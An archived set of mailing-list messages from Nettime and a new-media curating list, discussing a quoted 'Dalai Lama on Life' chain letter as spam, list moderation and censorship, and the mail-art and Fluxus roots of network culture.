                        "content": "Dear Wolf and others,\n\n| I mean leave the Dalai  Lama\n\nso, I am sending spam bibliography, I thought 'Dalai Lama on life' was known\nin net circles... But there are always people that are black holes in the\nnetwork.\nSo Wolf - delete message / otherwise bad luck or try to find the list with\nsubscribers as on the Nettime, and you are happy till the end of the life\n: )\n\nOthers, sorry for spamming!\n\nana\n\n\n In need of some improvements in your life? If so read on....\n\n  A Message from the Dalai Lama\n  Just a short Buddhist outlook on life. Do not keep this message. The\n  mantra must leave your hands within 96 hours. You will get a very\n  pleasant surprise. This is true, even if you are not superstitious.\n\n Take into account that great love and great achievements involve\n      great risk.\n\n  When you lose don't lose the lesson.\n\nFollow the three R's: Respect for self, Respect for others and\n      Responsibility for all your actions.\n\nRemember that not getting what you want is sometimes a wonderful\n      stroke of luck.\n\nLearn the rules so you know how to break them properly.\n\nDon't let a little dispute injure a great friendship.\n\nWhen you realize you've made a mistake, take immediate steps to\n      correct it.\n\nSpend some time alone every day.\n\nOpen your arms to change, but don't let go of your values.\n\nRemember that silence is sometimes the best answer.\n\nLive a good, honorable life. Then when you get older and think\n      back, you'll be able to enjoy it a second time.\n\nA loving atmosphere in your home is the foundation for your life.\n\nIn disagreements with loved ones, deal only with the current\n      situation. Don't bring up the past.\n\nShare your knowledge. It's a way to achieve immortality.\n\nBe gentle with the earth.\n\nOnce a year, go someplace you've never been before.\n\nRemember that the best relationship is one in which your love for\n      each other exceeds your need for each other.\n\nJudge your success by what you had to give up in order to get it.\n\nApproach love and cooking with reckless abandon.\n\n\n  FORWARD THIS MANTRA E-MAIL TO AT LEAST 5 PEOPLE AND YOUR LIFE WILL\nIMPROVE.\n\n  0-4 people: Your life will improve slightly.\n  5-9 people: Your life will improve to your liking.\n  9-14 people: You will have at least 5 surprises in the next 3 weeks.\n  15 people and above: Your life will improve drastically and everything\n      you ever dreamed of will begin to take shape.\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00403",
                        "date": "Sat, 23 Jun 2001 17:31:35 +0200",
                        "to": "\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                        "message-id": "00da01c0fbf9$976ff820$be631dc3@st001",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00403.html",
                        "content-type": "text/plai",
                        "author_name": "ana peraica",
                        "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                                "content": "Hi Wolf,\n\nI don't know the source of the chain letter, but it really striked me that\nin the same context (as my friend who is analysing and collecting spams,\nDarko Fritz, noted) that so nice sentences are mixed with coursing. I\nreceived it a long time ago, of course deleted it, and it took me time to\nfind it again (I found it published on the commercial page\nhttp://www.thefunside.com/lama/ not in the spams archive (usually there are\nonly those market ones).\n\nI don't think anyone can trace who wrote it (and I would recommend you not\nto border with that), as with each re-sending not only the e-mail address,\nbut also the server name of the sender changes). But surely I don't think\nDalai Lama wrote it himself, but it is a kind of a bad new age phenomenon,\nthat combined with the childish form of a luck chain letter. I saw many of\nthem in my childhood in a paper format.\n\nI just send it to show I was not writing on Dalai Lama  (as I already wrote\nit in reply to Anna Balint) but on this spam in particular, whose title is\nDalai Lama on Life. As you might follow in the text, it is appearing only in\ncontext with Solidaridae con Brian (which is one of the most cruel spams I\never saw), and Nokia telephones (the one spread recently around). I didn't\nfeel like writing again the defence - I did not wrote Dalai Lama, but Dalai\nLama on Life (that most of people on the net know what it is).\n\nYes, it was my message, the last one (if you think with this spam copied), I\nwas joking... Don't take it seriously... I just felt incomfortable sending\nit in real on the Nettime that has thousands of subscribed people, and the\nmessage itself writes;\n\nof 15 people and above: Your life will improve drastically and everything\n      you ever dreamed of will begin to take shape.\n\nso I wanted them to know how happy I might be, that I might become a witch\nthat if dreams a nightmare can produce a harm around.\n\nThe same refers to your defence of Fillou (I was not writing on him also...\nbut on the materialisation of a model of all - including networks, that\nmight have problems with all-inclusion, that is highly theoretical and known\nin theory of metaphysics; if God is all-including, he is also including Evil\nand so on... ).\n\nbest\nAna\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                                "id": "00406",
                                "date": "Sat, 23 Jun 2001 20:40:25 +0200",
                                "to": "\"syndicate\" <syndicate@eg-r.isp-eg.de>,\"Nettime\" <nettime-l@bbs.thing.net>,\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                                "message-id": "004901c0fc14$185a7220$3c621dc3@st001",
                                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00406.html",
                                "content-type": "text/plai",
                                "author_name": "ana peraica",
                                "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)"
                            }
                        ],
                        "from": "\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                        "content": "Dear Ana,\n\nplease make the source of the mentioned Dalai Lama 'chain letter' public, of\ncourse I received such a letter by several people, I just smiled about the\nchain method, text itself is good, but to me it does not fit into His\nHoliness' way of teaching to give promises like the Popes of Rome at Luther\ntimes, so please open your archive and I am the first to start tracing the\nspource and finding out myself and if necessary to apologize.I must not tell\nyou how easy it is to forge messages in the net, right? By the way, was it\nreally you writing the last response?\nGood wishes Wolf\n\n-----Urspr\u00fcngliche Nachricht-----\nVon: \"ana peraica\" <ana.peraica@st.tel.hr>\nAn: \"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>\nCc: \"Nettime\" <nettime-l@bbs.thing.net>\nGesendet: Samstag, 23. Juni 2001 17:31\nBetreff: Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)\n\n\n> Dear Wolf and others,\n>\n> | I mean leave the Dalai  Lama\n>\n> so, I am sending spam bibliography, I thought 'Dalai Lama on life' was\nknown\n> in net circles\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00404",
                        "date": "Sat, 23 Jun 2001 18:15:39 +0200",
                        "to": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                        "message-id": "000e01c0fbff$c536a960$4b4149d5@taivun",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00404.html",
                        "content-type": "text/plai",
                        "author_name": "Ruine der Kuenste Berlin",
                        "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)"
                    },
                    {
                        "from": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                        "content": "Hi Wolf,\n\nI don't know the source of the chain letter, but it really striked me that\nin the same context (as my friend who is analysing and collecting spams,\nDarko Fritz, noted) that so nice sentences are mixed with coursing. I\nreceived it a long time ago, of course deleted it, and it took me time to\nfind it again (I found it published on the commercial page\nhttp://www.thefunside.com/lama/ not in the spams archive (usually there are\nonly those market ones).\n\nI don't think anyone can trace who wrote it (and I would recommend you not\nto border with that), as with each re-sending not only the e-mail address,\nbut also the server name of the sender changes). But surely I don't think\nDalai Lama wrote it himself, but it is a kind of a bad new age phenomenon,\nthat combined with the childish form of a luck chain letter. I saw many of\nthem in my childhood in a paper format.\n\nI just send it to show I was not writing on Dalai Lama  (as I already wrote\nit in reply to Anna Balint) but on this spam in particular, whose title is\nDalai Lama on Life. As you might follow in the text, it is appearing only in\ncontext with Solidaridae con Brian (which is one of the most cruel spams I\never saw), and Nokia telephones (the one spread recently around). I didn't\nfeel like writing again the defence - I did not wrote Dalai Lama, but Dalai\nLama on Life (that most of people on the net know what it is).\n\nYes, it was my message, the last one (if you think with this spam copied), I\nwas joking... Don't take it seriously... I just felt incomfortable sending\nit in real on the Nettime that has thousands of subscribed people, and the\nmessage itself writes;\n\nof 15 people and above: Your life will improve drastically and everything\n      you ever dreamed of will begin to take shape.\n\nso I wanted them to know how happy I might be, that I might become a witch\nthat if dreams a nightmare can produce a harm around.\n\nThe same refers to your defence of Fillou (I was not writing on him also...\nbut on the materialisation of a model of all - including networks, that\nmight have problems with all-inclusion, that is highly theoretical and known\nin theory of metaphysics; if God is all-including, he is also including Evil\nand so on... ).\n\nbest\nAna\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00406",
                        "date": "Sat, 23 Jun 2001 20:40:25 +0200",
                        "to": "\"syndicate\" <syndicate@eg-r.isp-eg.de>,\"Nettime\" <nettime-l@bbs.thing.net>,\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                        "message-id": "004901c0fc14$185a7220$3c621dc3@st001",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00406.html",
                        "content-type": "text/plai",
                        "author_name": "ana peraica",
                        "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)"
                    }
                ],
                "message-id": "00ec01c0fa90$e6c552e0$064649d5@taivun",
                "date": "Thu, 21 Jun 2001 22:29:30 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00369",
                "content": "[Once I spent hours enjoying Ben Vautier's work called 'The Postman's\nChoice'. It was a postcard with two different addressees on each of its\nsides.]\n\n\n\n'Il n'ya plus de centre de l'art.Chaque artiste doit se consid\u00e9rer comme\nfaisant\npartie d'un r\u00e9seau'  Robert Filliou - Eternal Network\n\nDear Ana, folks, auto replyer,\n\nOne of the fantastic aspects of the net is the immediate accesibility to the\ntexts,\nsources, works, people. One minute search on the web is enough to\nacknowledge\nthe context of a text, and  find out that the Eternal Network text was\npublished. One more minute is enough to overcome the impression that mail\nart circles were ever closed and kill roots without appropriate\nunderstanding of the context. For people with theoretical interest in\nmailing lists, networks, netart  - the net will probably be a minimum\nreference and relevance.\nUnfortunately I did not find your text in the nettime archives, as it is\nvery raw and inefficiently organised. Contrary to such net archives, mail\nart archives already developed archiving, filtering strategies, and methods\nfor organise information.\nArt and media concerned BBSs, mailing lists owe a lot to the correspondence\nnetworks and movements, even the mailing list technique was developed in\nmail art circles, it goes back to the newsletter of Dick Higgins and   the\nNew York Correspondence School of Ray Johnson. Besides technical aspects, on\nthe content level even nettime reproduced and interfered with many of the\nmail art and fluxus phenomena  - intermedia, collaborative work, the\nmultiples, the anticopyright movement, much of the netart, media art, visual\npoetry, copy art, censorship questions, radio art, sound poetry, fanzines,\nvideo art, computer art, alternative music, alternative galleries, comes\nfrom the correspondence art and fluxus.\nWhen about bulky correspondence art materials, many theories and concepts\ncover them very well, correspondence art theories in the first place, but\nthe library of Borges as well, some notions of  Flusser, the palimpsest (of\nHakim Bay as well), heteroglossic forms of Michael Bakhtin  - his theory of\nreverse culture covers your original text as well - hypertext, and so on.\nWhen about transmission of idea, would it be a coincidence that one of the\nmoderators of the nettime list comes form the American Fluxus circles, the\nother from the Advancement for the Illegal Knowledge group, the third close\nto the Marshall MacLuhan heritage - of course connected with Fluxus, as\nMarshall MacLuhan was first published by Something Else Press?\nThe concepts, theories, practices and attitudes of the correspondence art\ninfiltrated not only mailing lists, but contemporary art practices - the\ncall for artworks and papers for instance, its morality, its rules. The\nidea, the illegal knowledge which circulated through postal network on a\nglobal level became much more known and legitimate on a larger scale due to\nthe net.  Though many things originating in the correspondence art became\nmore visible, some still wait to be discovered. Topics, methods as well. For\ninstance correspondence artists adored trash, crab and junk, they very much\nexplored and recycled it. They very much liked to recycle idea as well.\nWhen about empty places in mailing lists, the squatters logic works, what's\nwrong in that? That logic brought up alternative spaces, alternative radios,\nalternative tv's, alternative art, alternative idea.  Nokia is  a spammer?\nGreat!  We found out that they traced the list or they sponsored it? The\nDalai Lama is spamming? Good that somebody reminds me the question of who\nthe Dalai Lama is! Integer was banned from the syndicate, nettime, rhizome\nand infowar list at the same time? First of all we all learn that these\nlists were connected. Their moderators control (too much) and they lack\nhumour - or the time did not come when people accept no censorship, no jury\nrules. Her messages are overwhelming? Did we know before  that messages can\nmix private and public spheres, did we know so much about private and public\nfeed-back, did we question content, language, filtering before? Didn't we\nlearn something about hidden and visible aspects of the email? Did some\nmailing lists die out? Finally! New ones come, and maybe we will  find out\nwhat is eternal. It might be anything which breaks everyday routines.\nThere is already much said about spatiality of the net, many people explore\nutopia and atopia, virtual space, spatiality in general. Much less is\ndiscussed the notion of temporality, though some artists, theoreticians\nstruggle with this concept. At this moment my personal time perceiving is\nvery much determined by the commercial s/censors of  net-works, as the\nTelecomunication Company where I am connected lets me to work in the night\nwith less costs.  Robert Filliou did not wait the raise of the internet to\nformulate his theories, maybe we still need time to properly understand his\nnotion of time with the help of the new medium. Eternity is a religious\nnotion? Which concept is not?\nbests regards,\nAnna Balint\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "to": "<syndicate@eg-r.isp-eg.de>",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00369.html",
                "list": "nettime_bold",
                "author_name": "anna balint",
                "subject": "[Nettime-bold] FW:  commentary on Unsubscribe tex",
                "from": "\"anna balint\" <epistolaris@freemail.hu>",
                "follow-up": [
                    {
                        "from": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                        "content": "HI Anna, and others...\n\nI am receiving so much of e-mail reactions.... Unfortunately interesting\nwritings arrive to my own address, not to lists, and seems the problems of\ncensorship, moderation et. al. are very hot, at least on two lists\n(Syndicate and Nettime the first). Censorship seems to still be the topic\npeople prefer to discuss in private... I would try to write the reply and\nideas I have got in one single e-mail as replying this would take some\ntime... (of summer).\n\nFor myself, though I didn't want to get involved in the historical\ndevelopement of networking, the ideas of creators etc. as my interest was\nnot at all to point on its artistic or others rhoutes, but to go a step\nfurther, which I found interesting - critique of the network, fallen\npromises and end of the hype. For the de/scralisation of it, because of\nusing only a single way of interpretation (which I tried to avoid more\nliterally by comparing networks of the veneral diseases, urbanistic ones et.\nal) many were not ready.\n\nBut in this reply of Anna I found several topics that were of my interest;\nbulk e-mail and (self - if taken as an independent body) organization. Maybe\nthis discussion is now too particular (located) for the theory, but\nnevertheless...\n\nAnna wrote:\n> Integer was banned from the syndicate, nettime, rhizome and infowar list\nat the same time?\n\nAs far as I know Syndicate is unmoderated; of course, question is how this\ndemocracy of all-can-post becomes at one point the tiranny of a single\nperson, and suffers from the reversal of the quality. Two days ago I got the\nreply of Andreas as my e-mails were not getting through; and I made a joke\non\n\n>> either seems someone unsubscribed me in real, or there is a censorship on\nthe Syndicate, but my e-mails (UN-art and\n>> Unsubscribe texts) are not passing to the list since yesterday. I checked\nthe archive, and they are not there  too. And I was >> thinking also how to\nsend something entitled Unsubscribe in  the body of message, so I put the\nstarr * before the title, >> hoping Majordomo will not recognize as a\ncommand. But seems a human agent did... They like to be commanded probably?\n\nAndreas wrote;\n> the syndicate has no moderation but admins who help people who are too\nlazy  to adjust to the technical rules of\n> majordomo to get their stuff on the list.\n\nMichael Benson wrote:\n\n> Maybe, as with nettime, we can make two  lists -- one featuring 8/10ths\nposts by whatshername and one without. That\n> way people don't have to go to the trouble of filtering out the crap, they\ncan just freely choose, and meanwhile accusations > of censorship won't have\nto be slung so freely around.\n\nAnna wrote:\n> First of all we all learn that these  lists were connected. Their\nmoderators control (too much) and they lack humour - or the > time did not\ncome when people accept no censorship, no jury rules.\n\nNow, I am again not sure on this point; whether it means connections of\nmoderators (and then a kind of conspiracy) or the connection of subscribers\n/ subscriptions, and then merging of networks... For the first I think it is\ntotally the opposite, but the second one is the truth.\n\nAnna wrote:\n> Didn't we| learn something about hidden and visible aspects of the email?\nDid some mailing lists die out? Finally!\n\nThat is what i think too.\n\n*******************************\n(end that falls out the discussion)\n\n> Eternity is a religious notion? Which concept is not?\n\nI would rather say which one is not political; maybe it is a matter of\ninterpretation, so I don't quite consume religion, or its notions.\n\nNote; Nokia telephones and Dalai Lama on Life are spams... First one is a\ncommercial spam, and the second a spiritual one (chain letter that ends up\nwith a course).\n\nbest\nAna\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00380",
                        "date": "Fri, 22 Jun 2001 15:50:04 +0200",
                        "to": "\"Nettime\" <nettime-l@bbs.thing.net>,\"syndicate\" <syndicate@eg-r.isp-eg.de>",
                        "message-id": "00d301c0fb27$4b962000$6e611dc3@st001",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00380.html",
                        "content-type": "text/plai",
                        "author_name": "ana peraica",
                        "subject": "[Nettime-bold] Re: Syndicate: FW:  commentary on Unsubscribe tex"
                    }
                ],
                "message-id": "MABBIKGKLODEKGPMBDPEKEHLCBAA.epistolaris@freemail.hu",
                "date": "Fri, 22 Jun 2001 09:05:19 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00014",
                "content": "\nSince many people responded to me off-list, I should write a postscript\nto my posting.  Everyone seems to have overlooked that the\ncorrespondence between John Berndt (a Neoist and experimental musician\nfrom Baltimore) and LLoyd Dunn (editor of the Mail Art/anticopyright\nzine PhotoStatic/Retrofuturism and member of the Plunderphonics\ncollective Tape-beatles) was taken, to quote myself...\n\n> From: PhotoStatic no. 37/Retrofuturism no. 10, August 1989\n                                                        xxxx\n\nThere's of course no point in denying my prankish intentions. Still, I\ndidn't alter the wording of the original correspondence, but only\nbracketted out parts which referred to non-digital media (such as audio\ntapes and print magazines). \n\nBy the late 1980s, the term \"Network\" (via Robert Filliou's coinage of\n\"The Eternal Network\") had largely overcome the older label \"Mail Art\",\nthus embracing all kinds of fringe activities and (to use a term by Inke\nArns and Andreas Broeckmann) \"small media\" which mainly circulated via\npersonal snail mail.\n\nPractical proofs are book titles like \"The Magazine Network\" by G\u00e9za\nPerneczky [1991] or \"Networking Currents\" [1986] and \"Eternal Network\"\n[1995] by Chuck Welch. The whole range of pre-Internet network culture\ncomes better across, though, in Ivan Stang's book \"Heigh Weirdness by\nMail\" [Simon & Schuster, 1988] and in back-issues of the review zine\nFactsheet Five, or, respectively, the book \"The World of Zines\" compiled\nby Factsheet Five editors Mike Gunderloy and Cari Goldberg Janice\n[Penguin, 1992].\n\nSo it's perhaps not too accidental that internal debates on \"network\nculture\" and \"network art\" from 1989 could be easily recycled into\ncontempary net culture/net art discourse.\n\n-F\n\n\nAnother postscript concerns McKenzie Wark's Nettime review of the Ray\nJohnson exhibition and his mention of the COPY LEFT | COPY RIGHT in\nparticular. In my private archive, I found a 10-volume Mail Art edition\npublished in Zurich in 1985 under the title \"copy-left, work in progress,\npornographic - erotic - body art\". The cover emblem is a \ncopyright sign flipped horizontally:\n\n                  -,xxxxx\n              .xaWQM9HWH9Q###Q&x_\n           .d###?^ .xxxxxx_  \"9Q#Nx\n          dQ# {AT} \" d###QQQWMWQ#b_  '9WQ&,\n         xQ#?` }## {AT} ^      '##A,   ?Q#b\n        W#Q~   '?Y         <####   `Q#$\n       j##b                aQ###    ###\n       ]##P                ]Q###,   ###r\n       W##[               }D####^  ]W##~\n        M##,  4#Qa,       ]O###\"   .#P~\n         9Q#h, Y#QQbxxxxa8QQP\"    Q##^\n          \"9##Ax-'???\"??\"??\"   ,d##P\n            'Y#Q###bxxxxxxxxxaQ##Y`\n               `\"\"?Y#QQQQQQQY??^\n\n\n[Enlarged detail, converted into ASCII Art; I put the original scan\nonline under\n<http://userpage.fu-berlin.de/~cantsin/copyleft-mail_art.jpg>.]\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA, finger cantsin {AT} mail.zedat.fu-berlin.de\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 4 Dec 2002 14:12:35 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200212042125.gB4LPTu25444 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0212/msg00014.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "Re: <nettime> On the state of net ar"
            },
            {
                "content-type": "text/plain",
                "from": "Ken Friedman",
                "content": "\nFriends,\n\nWhile I plan to return with my own statement, I want to tip my hat to Clive Robertson for his intro.\n\nThis addresses several of the profound challenges in the concept of the Eternal Network, especially as Robert Filliou and George Brecht conceived it.\n\nRobert ultimately withdrew into the monastic life of Buddhism, dying on a five-year retreat. George withdrew to a nearly monastic life, answering his phone only when someone made an appointment by postcard, and nearly never going out. In theearly 1970s, Dick Higgins suggested that I find a way to make a living outside the art world \u2013 I dipped in and out of the art world for some years, but I found a day job that suited me in the 1990s: it suited me so well that I have mostly stayed away from the art world, doing my art privately. The issues involved are quite complex \u2013 nearly everyone needs to make a living, so we all do something, and it sometimes touches on art. This is the case for Clive, too. He teaches art and art history to make a living.\n\nThere are several questions I plan to address, dealing with networks and network effects, and globalism as distinct from globalization. Clive is in essence raising aquestion that Robert (Filliou, 2004[1966]: 16) asked in his 1966 manifesto, \u201cA Proposition, a Problem, a Danger, and a Hunch.\u201d Robert called for a \u201cA refusal to be colonized culturally by a selfstyled race of specialists in painting, sculpture, poetry, music, etc....\u201d\n\nYou can get it in PDF format at this URL:\n\nhttp://www.ubu.com/historical/gb/manifestos.pdf\n\nBut there are many sides to this coin. I don\u2019t know if there is a good answer, or even a happy one.\n\nClive ran one of the loveliest spaces, projects, and publishing entities in the not-quite-eternal network of the early 1970s, W.O.R.K.S. in Calgary. I\u2019m always amazed at how much more intelligent and free things are when we don\u2019t need to fund them through the governments and governmental systems that require us to become professional artists. This is what leads to the problem that Clive identifies so well: \u201cThe network as shared in the early 1970s preceded the formalization of artists spaces that confronted / was confronted itself by network issues. The network itself was open to abuse as an alternative or oppositional disguise for self-promotion but remains I think a very different concept than what often poses now as reforms or improvements to a re-established hierarchical and exclusionary art system.\u201d That, in essence, is the price in a world where professionalization and the submissive role are quite close to the same thing.\n\nMy day job turned out to be quite a good thing \u2013 I was good at it, and it suited me better than I could have imagined. No life is perfect, but the next best thing to living the life of a monk is working as a scholar and researcher.\n\nTwo or three times in the past few days, I have had occasion to think of another Zen monk, Han-Shan (1966: 49), a 9th century Buddhist and poet. I\u2019ll close with his words for now:\n\nWhen men see Han-shan\nThey all say he\u2019s crazy\nAnd not much to look at -\nDressed in rags and hides.\nThey don\u2019t get what I say\nAnd I don\u2019t talk their language.\nAll I can say to those I meet:\n\u201cTry and make it to Cold Mountain.\u201d\n\nKen\n\nKen Friedman, PhD, DSc (hc), FDRS | University Distinguished Professor | Swinburne University of Technology | Melbourne, Australia | [log in to unmask] | Mobile +61 404 830 462 | Home Page http://www.swinburne.edu.au/design/people/Professor-Ken-Friedman-ID22.html<http://www.swinburne.edu.au/design>\n\nGuest Professor | College of Design and Innovation | Tongji University | Shanghai, China\n\n--\n\nReferences\n\nFilliou, Robert. 1966. \u201cA Proposition, a Problem, a Danger, and a Hunch.\u201d Manifestoes. New York: Something Else Press, p. 16. [Reprinted 2004.] Free digital copy available at Ubu Classics URL: http://www.ubu.com/historical/gb/index.html Accessed 5 February 2013.\n\nHan-Shan. 1966. Cold Mountain Poems. Translated by Gary Snyder. In Riprap and Cold MountainPoems. San Francisco: Four Seasons Foundation.",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=3744",
                "follow-up": [
                    {
                        "from": "Ken Friedman",
                        "content": "\nFriends,\n\nWhile I plan to return with my own statement, I want to tip my hat to Clive Robertson for his intro.\n\nThis addresses several of the profound challenges in the concept of the Eternal Network, especially as Robert Filliou and George Brecht conceived it.\n\nRobert ultimately withdrew into the monastic life of Buddhism, dying on a five-year retreat. George withdrew to a nearly monastic life, answering his phone only when someone made an appointment by postcard, and nearly never going out. In theearly 1970s, Dick Higgins suggested that I find a way to make a living outside the art world \u2013 I dipped in and out of the art world for some years, but I found a day job that suited me in the 1990s: it suited me so well that I have mostly stayed away from the art world, doing my art privately. The issues involved are quite complex \u2013 nearly everyone needs to make a living, so we all do something, and it sometimes touches on art. This is the case for Clive, too. He teaches art and art history to make a living.\n\nThere are several questions I plan to address, dealing with networks and network effects, and globalism as distinct from globalization. Clive is in essence raising aquestion that Robert (Filliou, 2004[1966]: 16) asked in his 1966 manifesto, \u201cA Proposition, a Problem, a Danger, and a Hunch.\u201d Robert called for a \u201cA refusal to be colonized culturally by a selfstyled race of specialists in painting, sculpture, poetry, music, etc....\u201d\n\nYou can get it in PDF format at this URL:\n\nhttp://www.ubu.com/historical/gb/manifestos.pdf\n\nBut there are many sides to this coin. I don\u2019t know if there is a good answer, or even a happy one.\n\nClive ran one of the loveliest spaces, projects, and publishing entities in the not-quite-eternal network of the early 1970s, W.O.R.K.S. in Calgary. I\u2019m always amazed at how much more intelligent and free things are when we don\u2019t need to fund them through the governments and governmental systems that require us to become professional artists. This is what leads to the problem that Clive identifies so well: \u201cThe network as shared in the early 1970s preceded the formalization of artists spaces that confronted / was confronted itself by network issues. The network itself was open to abuse as an alternative or oppositional disguise for self-promotion but remains I think a very different concept than what often poses now as reforms or improvements to a re-established hierarchical and exclusionary art system.\u201d That, in essence, is the price in a world where professionalization and the submissive role are quite close to the same thing.\n\nMy day job turned out to be quite a good thing \u2013 I was good at it, and it suited me better than I could have imagined. No life is perfect, but the next best thing to living the life of a monk is working as a scholar and researcher.\n\nTwo or three times in the past few days, I have had occasion to think of another Zen monk, Han-Shan (1966: 49), a 9th century Buddhist and poet. I\u2019ll close with his words for now:\n\nWhen men see Han-shan\nThey all say he\u2019s crazy\nAnd not much to look at -\nDressed in rags and hides.\nThey don\u2019t get what I say\nAnd I don\u2019t talk their language.\nAll I can say to those I meet:\n\u201cTry and make it to Cold Mountain.\u201d\n\nKen\n\nKen Friedman, PhD, DSc (hc), FDRS | University Distinguished Professor | Swinburne University of Technology | Melbourne, Australia | [log in to unmask]<mailto:[log in to unmask]> | Mobile +61 404 830 462 | Home Page http://www.swinburne.edu.au/design/people/Professor-Ken-Friedman-ID22.html<http://www.swinburne.edu.au/design>\n\nGuest Professor | College of Design and Innovation | Tongji University | Shanghai, China\n\n--\n\nReferences\n\nFilliou, Robert. 1966. \u201cA Proposition, a Problem, a Danger, and a Hunch.\u201d Manifestoes. New York: Something Else Press, p. 16. [Reprinted 2004.] Free digital copy available at Ubu Classics URL: http://www.ubu.com/historical/gb/index.html Accessed 5 February 2013.\n\nHan-Shan. 1966. Cold Mountain Poems. Translated by Gary Snyder. In Riprap and Cold MountainPoems. San Francisco: Four Seasons Foundation.",
                        "id": 0,
                        "date": "Tue, 5 Feb 2013 08:10:04 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=4538",
                        "content-type": "text/plain",
                        "author_name": "Ken Friedman",
                        "subject": "Re: Intro"
                    },
                    {
                        "from": "Dorothee Richter",
                        "content": "\nDear Friends and Colleagues,\nI have published my dissertation on Fluxus recently (Fluxus! Art and Life?\nMythes about Authorship, Production, Gender and Communitiy.--- Fluxus.\nKunst gleich Leben Mythen um Aturoschaft, Produktion, Geschelcht und\nGemeinschaft.) Alas it is in German. But I have also done many many video\ninterviews and did make a film out of it together with historical\nmaterial. So thanks a lot to Ken Friedman to start with Fluxus as a\nnetwork. As many of you will know it is always a battle about the power to\ndefine what is this and that, and mostly art market and art history are\ngenerating a view that is centered around just some single authors.\nTherefore the film also tries to show the big network, the fights, the\npolitical aspects, the star attitudes of some , gentrification and so on.\nThe film premier will be at Staatsgalerie Stuttgart at 13th of April. We\nwill also put up a website, (everything is always later as one plans) and\nwe would be very very happy to show it elsewhere. So- I totally agree with\nKen to see Fluxus as a network (and as a battleground),the Film is in\nEnglish; a collage of some sort;  Best, Dorothee\n\n-- \nDr. Dorothee Richter\n\nHead of Postgraduate Program in Curating\nInstitute Cultural Studies in the Arts\nZurich University of the Arts\nHafnerstr. 31\n8005 Z\u00fcrich\n\nwww.curating.org\t\t\tstudy program\nwww.on-curating.org\t\t\twebjournal\nwww.curatingdegreezero.org\t\tarchive\n\n\n\n\nAm 05.02.13 09:08 schrieb \"Ken Friedman\" unter <[log in to unmask]>:\n\n>Friends,\n>\n>While I plan to return with my own statement, I want to tip my hat to\n>Clive Robertson for his intro.\n>\n>This addresses several of the profound challenges in the concept of the\n>Eternal Network, especially as Robert Filliou and George Brecht conceived\n>it.\n>\n>Robert ultimately withdrew into the monastic life of Buddhism, dying on a\n>five-year retreat. George withdrew to a nearly monastic life, answering\n>his phone only when someone made an appointment by postcard, and nearly\n>never going out. In theearly 1970s, Dick Higgins suggested that I find a\n>way to make a living outside the art world \u00ad I dipped in and out of the\n>art world for some years, but I found a day job that suited me in the\n>1990s: it suited me so well that I have mostly stayed away from the art\n>world, doing my art privately. The issues involved are quite complex \u00ad\n>nearly everyone needs to make a living, so we all do something, and it\n>sometimes touches on art. This is the case for Clive, too. He teaches art\n>and art history to make a living.\n>\n>There are several questions I plan to address, dealing with networks and\n>network effects, and globalism as distinct from globalization. Clive is\n>in essence raising aquestion that Robert (Filliou, 2004[1966]: 16) 